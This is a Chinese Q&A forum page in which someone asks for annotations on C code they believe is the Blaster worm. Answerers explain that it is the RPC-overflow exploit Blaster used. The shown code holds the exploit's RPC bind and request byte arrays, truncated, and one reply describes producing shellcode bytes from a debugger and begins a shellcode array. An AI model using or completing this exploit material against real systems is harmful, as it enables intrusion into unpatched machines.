谁帮我分析(注释)下冲击波源代码。。注明个段代码的功能。它是用什么语言写的?我有C、C#编程基础)

来源:百度知道 编辑:UC知道 时间:2024/05/25 07:28:18
**************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0

呵呵,这个不是冲击波的代码
只是当年冲击波所利用的那个rpc溢出漏洞的exploit而已,楼主见过哪个蠕虫还让用户来选择目标的os种类吗?
这个当然是用c编写的,被编码的东西叫做shellcode,是溢出后控制程序流程用的,可以理解为一些函数的代码,也就是你想让目标机器执行的指令

楼主想编写蠕虫吧,蠕虫一般是c和汇编结合来编写,只用汇编也可以,当然嵌入式开发效率要高,要知道蠕虫和杀毒软件拼的就是时间啊 :)

现在即使编译好了也不会有什么好的效果了,因为那个漏洞已经不是0day了,被补好了,没多大价值,现在毒客界流行arp病毒,irc-bot和p2p-bot

再就是你给出的代码是linux下利用的,看
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
这几个头文件就知道,在linux下用gcc编译吧,当然windows下用cygwin也可以模拟gcc编译的

不用注释了吧?就是加入一些头文件,然后声明两个数组而已。
应该是C吧。

这种代码在溢出攻击中称之为SHELLCODE,是用vc编写好攻击代码,然后按F10调试-->在DEBUG工具兰中点击最后一个按钮“DISASSEMBLE”出现原程序的汇编代码。再到代码窗口上点鼠标右建再弹出筐中选择‘CODE BYTES’就会出现上面类似的代码(实质是机器码)
在溢出后就可以执行这种机器代码。
unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\